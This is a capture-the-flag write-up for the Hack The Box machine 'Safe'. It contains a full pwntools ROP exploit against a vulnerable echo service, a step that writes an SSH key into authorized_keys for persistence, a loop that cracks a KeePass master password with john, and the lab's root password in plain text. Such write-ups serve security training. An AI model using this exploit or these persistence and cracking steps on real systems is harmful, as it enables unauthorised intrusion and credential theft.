✅Safe (Easy)

Summary

Nmap

Nmap

Our initial target is port 80, of course. Port 1337 look suspicious and we will find out what it is soon.

Enumeration

Visit port 80 and view source code:

<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->

The vulnerable program can be downloaded from:

http://10.10.10.147/myapp

User Shell: ROP

Recon

$ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

$ checksec myapp          
[*] '/root/Dropbox/HTB/Box/Safe/myapp/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Since NX is the only protection on this binary, this is very likely to be a ROP challenge.

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-70h]

  system("/usr/bin/uptime");
  printf("\nWhat do you want me to echo back? ", argv);
  gets(&s, 1000LL);
  puts(&s);
  return 0;
}

Analysis

It seems to be a typical ret2system challenge on x64 at first glance, but that's not the case. The absence of the string/bin/sh makes it slightly difficult.

First, note that there is an unused function named test:

test

This function does two things:

1. It moves the content of rbp to rdi. This is because the first operation of the function prologue push rbp moves the content of rbp to rsp, and then mov rdi, rsp moves the content of rsp to rdi. Pictorially, we have rbp -> rsp -> rdi. We can use this functionality to pass /bin/sh.

2. It jumps to r13 in the end. We can use this functionality to call system.

So the attacking idea is:

1. Fill the buffer with junk and stop right before rbp.

2. Store /bin/sh\x00 in rbp.

3. Store system@plt in r13.

4. Call test.

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("myapp", checksec=False)

local = False
if local:
    r = elf.process()
else:
    host = "10.10.10.147"
    port = 1337
    r = remote(host, port)

#--------ROP--------#

offset = 120
bin_sh = b"/bin/sh\x00"

# ROPgadget --binary myapp --only "pop|ret" | grep r13
pop_r13_r14_r15 = 0x0000000000401206
system_plt = elf.plt["system"]
test = elf.sym["test"]

payload = flat(
  bin_sh.rjust(offset, b"\x90"),
    pop_r13_r14_r15, system_plt, 0, 0, # r13 = system@plt
    test,
)

r.sendlineafter("\n", payload)
r.interactive()

Run the exploit and get user shell:

user

SSH for A Better Shell

Although we have a shell, it is not the good-looking kind. To obtain a better shell, upload your id_rsa.pub to the server:

echo "<your id_rsa.pub>" > /home/user/.ssh/authorized_keys

Connect to the server via SSH:

ssh

Privilege Escalation: KeePass Master Password Cracking

This part is a little guessy. We could use loop through all the jpg files and try each one of them as key file:

#!/bin/bash

for i in *.JPG
do
  echo "\#--------------------------------$i--------------------------------\#"
  keepass2john -k $i MyPasswords.kdbx > hash.txt
  john hash.txt
done

It turns out that the key file is IMG_0547.JPG and the master password is bullshit. Fine. Now we can read the KeePass file with kpcli:

kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx

Keepass

The root password is u3v2249dl9ptv465cogl3cnpo3fyhk.

Switch user to root:

root